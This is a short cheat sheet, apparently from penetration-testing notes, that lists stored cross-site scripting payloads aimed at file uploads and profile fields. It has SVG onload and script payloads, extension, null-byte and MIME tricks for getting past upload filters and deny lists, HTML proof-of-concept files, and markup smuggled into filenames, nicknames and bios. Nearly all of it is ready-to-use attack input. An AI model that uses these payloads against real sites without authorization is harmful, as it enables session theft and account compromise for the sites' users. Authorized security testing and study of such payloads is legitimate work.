<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
<svg xmlns="http://www.w3.org/2000/svg">
<a xlink:href="javascript:alert(document.domain)"><text x="10" y="20">click</text></a>
</svg>
- Image polyglot / content-type confusion
If .svg is blocked, try extension/MIME tricks so it's stored as "image" but parsed as SVG/HTML:
payload.svg.png (double extension)
payload.svg?.png (query truncation)
payload.svg%00.png (null-byte, older stacks)
HTML disguised as image — upload with a .svg body but .jpg/.png name, or set Content-Type: image/svg+xml on the multipart part while the filename ends .png.
- HTML / other file upload
If arbitrary files are allowed and served inline (not Content-Disposition: attachment):
<!-- upload as poc.html -->
<!DOCTYPE html><html><body><script>alert(document.domain)</script></body></html>
poc.html . (trailing space/dot filename tricks to dodge a deny-list)
poc.xhtml
poc.htm
- Filename-reflected XSS
Uploaded filenames are often echoed into the post/attachment UI. Try the filename itself as the payload:
"><img src=x onerror=alert(document.domain)>.png
'><svg/onload=alert(document.domain)>.png
- Alternate text sinks (profile / nickname / bio)
These may use a different render path than posts. Worth one probe each:
nickname / display name: "><img src=x onerror=alert(1)>
bio / about: <img src=x onerror=alert(1)>
[a](javascript:alert(1))